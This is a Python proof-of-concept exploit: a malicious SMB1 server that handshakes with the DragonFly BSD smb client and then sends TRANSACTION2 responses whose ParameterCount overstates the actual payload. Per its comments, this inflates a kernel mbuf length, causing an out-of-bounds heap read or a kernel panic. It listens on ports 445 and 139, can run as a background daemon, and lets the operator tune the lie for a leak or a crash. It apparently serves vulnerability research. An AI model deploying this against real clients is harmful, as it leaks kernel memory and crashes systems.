#!/usr/bin/env python3
# DF-0624 malicious SMB1 server.
#
# Speaks just enough of the DragonFly smb client's SMB1/NetBIOS protocol to
# get a victim through NEGOTIATE -> SESSION_SETUP_ANDX -> TREE_CONNECT_ANDX,
# then answers every TRANSACTION2 (SMB_COM_TRANSACTION2 = 0x32) with a
# crafted response whose ParameterCount/DataCount LIE about how many bytes
# the response actually carries.  That triggers:
#
#     smb_t2_placedata():  m0 = m_split(mtop, poff);  len = <actual>;
#                          m->m_len -= len - count;     /* count > len => inflate */
#
# which inflates the trailing mbuf's m_len far past its real buffer, producing
# an OOB kernel-heap read (info leak) and/or a page-fault panic (DoS).
#
# The LIE magnitude is configurable (CLAIM_COUNT vs BODY bytes) so we can
# demonstrate either a clean leak or a panic.
import socket, struct, sys, threading, os, time

LOGFD = sys.stderr
HOST  = "0.0.0.0"
# Server-controlled lie: how many ParameterCount bytes we *claim* vs how many
# we actually place in the body.  count > actual_len is the trigger.
CLAIM_PCOUNT = int(os.environ.get("CLAIM_PCOUNT", "0x0200"), 0)   # claim 512
BODY_BYTES   = int(os.environ.get("BODY_BYTES",   "200"),   0)     # actual 200
TRIGGER_CMD  = 0x32   # SMB_COM_TRANSACTION2

def L(msg):
    LOGFD.write("[%s] %s\n" % (time.strftime("%H:%M:%S"), msg)); LOGFD.flush()

def recvn(s, n):
    buf = b""
    while len(buf) < n:
        c = s.recv(n - len(buf))
        if not c:
            raise EOFError("peer closed after %d/%d bytes" % (len(buf), n))
        buf += c
    return buf

def smb_hdr(cmd, pid, tid, uid, mid, flags=0x80, flags2=0x0001):
    # 32-byte SMB1 header, DOS-error success (errclass=0)
    h  = b'\xffSMB'
    h += bytes([cmd])
    h += b'\x00\x00\x00\x00'            # status: DOS errclass=0 (SUCCESS), serror=0
    h += bytes([flags])                  # flags (0x80 = response)
    h += struct.pack('<H', flags2)       # flags2 (KNOWS_LONG_NAMES)
    h += b'\x00' * 12                    # PIDHigh(2)+Sig(8)+Reserved(2)
    h += struct.pack('<H', tid & 0xffff)
    h += struct.pack('<H', pid & 0xffff)
    h += struct.pack('<H', uid & 0xffff)
    h += struct.pack('<H', mid & 0xffff)
    assert len(h) == 32
    return h

def nbss(msg_type, payload):
    # 4-byte big-endian NBSS header: type in top byte, len in low 17 bits
    n = len(payload)
    return struct.pack('>I', (msg_type << 24) | (n & 0x1ffff)) + payload

def wrap_smb(smb):
    return nbss(0x00, smb)   # NB_SSN_MESSAGE

# ---- per-command response builders ----
def resp_negotiate(pid, tid, uid, mid, req_body):
    # wc=17, NT LM 0.12 (dialect index 7), user-security, NO encrypt, sblen=0
    wc = 17
    words = b''
    words += struct.pack('<H', 7)        # DialectIndex = "NT LM 0.12"
    words += bytes([0x01])               # SecurityMode = SMB_SM_USER (no encrypt, no sig)
    words += struct.pack('<H', 1)        # MaxMpxCount
    words += struct.pack('<H', 1)        # MaxNumberVcs
    words += struct.pack('<I', 0x1000)   # MaxBufferSize (>=4096 avoids Win95 path)
    words += struct.pack('<I', 0)        # MaxRawSize
    words += struct.pack('<I', 0)        # SessionKey
    words += struct.pack('<I', 0)        # Capabilities (no EXT_SECURITY, no UNICODE)
    words += b'\x00' * 8                 # SystemTime
    words += struct.pack('<h', 0)        # ServerTimeZone
    words += bytes([0])                  # EncryptionKeyLength = 0
    assert len(words) == wc * 2
    body = bytes([wc]) + words + struct.pack('<H', 0)   # ByteCount=0
    return smb_hdr(0x72, pid, tid, uid, mid) + body

def resp_session_setup(pid, tid, uid, mid, req_body):
    # wc=3: AndXCommand, AndXReserved, AndXOffset, Action ; success
    wc = 3
    words  = bytes([0xff])               # AndXCommand = none
    words += bytes([0x00])               # AndXReserved
    words += struct.pack('<H', 0)        # AndXOffset
    words += struct.pack('<H', 0)        # Action = 0 (not guest)
    assert len(words) == wc * 2
    body = bytes([wc]) + words + struct.pack('<H', 0)
    return smb_hdr(0x73, pid, tid, uid, mid) + body

def resp_tree_connect(pid, tid, uid, mid, req_body):
    # wc=3: AndX*, OptionalSupport ; success. Return TID=1 in header.
    wc = 3
    words  = bytes([0xff, 0x00])
    words += struct.pack('<H', 0)        # AndXOffset
    words += struct.pack('<H', 0x0001)   # OptionalSupport (SMB_SUPPORT_SEARCH_BITS)
    assert len(words) == wc * 2
    body = bytes([wc]) + words + struct.pack('<H', 0)
    return smb_hdr(0x75, pid, 1, uid, mid) + body

def resp_trans2_lie(pid, tid, uid, mid, req_body):
    """The bug trigger: TRANS2 response whose ParameterCount (CLAIM_PCOUNT)
    exceeds the actual body (BODY_BYTES).  poff points at the body so
    smb_t2_placedata splits there, computes len=BODY_BYTES, then does
    m->m_len -= len - count  with count=CLAIM_PCOUNT > len => m_len inflate."""
    body = bytes(b'\x41') * BODY_BYTES          # the actual payload
    poff = 32 + 1 + 10*2 + 2                     # =57: absolute offset of body bytes
    wc = 10
    words = b''
    words += struct.pack('<H', CLAIM_PCOUNT)     # TotalParameterCount
    words += struct.pack('<H', 0)                # TotalDataCount
    words += struct.pack('<H', 0)                # Reserved
    words += struct.pack('<H', CLAIM_PCOUNT)     # ParameterCount  <-- THE LIE
    words += struct.pack('<H', poff)             # ParameterOffset (abs)
    words += struct.pack('<H', 0)                # ParameterDisplacement
    words += struct.pack('<H', 0)                # DataCount
    words += struct.pack('<H', 0)                # DataOffset
    words += struct.pack('<H', 0)                # DataDisplacement
    words += bytes([0x00, 0x00])                 # SetupCount=0 + Reserved (10th word)
    assert len(words) == wc * 2
    smb = smb_hdr(0x32, pid, tid, uid, mid) + bytes([wc]) + words \
          + struct.pack('<H', len(body)) + body
    L("TRIGGER TRANS2: claiming pcount=%d but body=%d bytes (poff=%d) -> m_len inflation"
      % (CLAIM_PCOUNT, BODY_BYTES, poff))
    return smb

def resp_generic_ok(cmd, pid, tid, uid, mid):
    # minimal success for anything we don't special-case
    return smb_hdr(cmd, pid, tid, uid, mid) + bytes([0x00]) + struct.pack('<H', 0)

def handle_smb(conn, req_smb):
    if len(req_smb) < 32 or req_smb[:4] != b'\xffSMB':
        L("ignoring non-SMB msg (%d bytes)" % len(req_smb)); return None
    cmd = req_smb[4]
    pid = struct.unpack('<H', req_smb[26:28])[0]
    tid = struct.unpack('<H', req_smb[24:26])[0]
    uid = struct.unpack('<H', req_smb[28:30])[0]
    mid = struct.unpack('<H', req_smb[30:32])[0]
    body = req_smb[32:]
    L("RX cmd=0x%02x pid=%d tid=%d uid=%d mid=%d bodylen=%d"
      % (cmd, pid, tid, uid, mid, len(body)))
    if cmd == 0x72:        # NEGOTIATE
        return resp_negotiate(pid, tid, uid, mid, body)
    if cmd == 0x73:        # SESSION_SETUP_ANDX
        return resp_session_setup(pid, tid, uid, mid, body)
    if cmd == 0x75:        # TREE_CONNECT_ANDX
        return resp_tree_connect(pid, tid, uid, mid, body)
    if cmd == TRIGGER_CMD: # TRANSACTION2 -> the lie
        return resp_trans2_lie(pid, tid, uid, mid, body)
    # default: minimal OK (covers ECHO/CLOSE/etc.)
    return resp_generic_ok(cmd, pid, tid, uid, mid)

def serve_port(port, do_nbss):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, port)); s.listen(5)
    L("listening on %s:%d (nbss=%s)" % (HOST, port, do_nbss))
    while True:
        conn, addr = s.accept()
        L("connection from %s:%d" % addr)
        try:
            conn.settimeout(15)
            if do_nbss:
                # read & answer the NBSS session request (type 0x81 -> 0x82)
                hdr = recvn(conn, 4)
                t = hdr[0]
                if t == 0x81:
                    slen = struct.unpack('>I', b'\x00' + hdr[1:4])[0]
                    _ = recvn(conn, slen)
                    conn.sendall(nbss(0x82, b''))   # POSRESP
                    L("NBSS session established")
                elif t == 0x85:
                    pass  # keepalive
                else:
                    L("unexpected NBSS type 0x%02x pre-session" % t)
            while True:
                hdr = recvn(conn, 4)
                t = hdr[0]
                plen = struct.unpack('>I', b'\x00' + hdr[1:4])[0] & 0x1ffff
                if t == 0x85:      # keepalive
                    continue
                if t != 0x00:      # only session messages carry SMB
                    L("NBSS type 0x%02x, len=%d" % (t, plen))
                    continue
                req_smb = recvn(conn, plen)
                resp = handle_smb(conn, req_smb)
                if resp is None:
                    continue
                conn.sendall(wrap_smb(resp))
        except (EOFError, socket.timeout, ConnectionResetError, BrokenPipeError) as e:
            L("conn end: %r" % e)
        except Exception as e:
            L("conn error: %r" % e)
        finally:
            try: conn.close()
            except Exception: pass
            L("connection closed")

def daemonize():
    # classic double-fork, but redirect fds BEFORE forking so the daemon
    # never inherits the launching shell's stdout/stderr pipe (which would
    # make the tool harness hang waiting for EOF on that pipe).
    sys.stdout.flush(); sys.stderr.flush()
    logf = open("server.log", "ab", buffering=0)
    nul  = os.open("/dev/null", os.O_RDWR)
    os.dup2(nul, 0)
    os.dup2(logf.fileno(), 1)
    os.dup2(logf.fileno(), 2)
    os.close(nul)
    if os.fork() != 0:
        os._exit(0)
    os.setsid()
    if os.fork() != 0:
        os._exit(0)

if __name__ == "__main__":
    if "--bg" in sys.argv:
        daemonize()
    # log is now the (possibly inherited) file fd; (re)open for line buffering
    try:
        LOGFD = open("server.log", "a", buffering=1)
    except Exception:
        LOGFD = sys.stderr
    L("CLAIM_PCOUNT=%d BODY_BYTES=%d (lie over-read = %d bytes)"
      % (CLAIM_PCOUNT, BODY_BYTES, CLAIM_PCOUNT - BODY_BYTES))
    # 445 = direct-hosted SMB (no NBSS session-request layer)
    threading.Thread(target=serve_port, args=(445, False), daemon=True).start()
    # 139 = NetBIOS session service (needs the 0x81/0x82 handshake)
    threading.Thread(target=serve_port, args=(139, True),  daemon=True).start()
    while True:
        time.sleep(3600)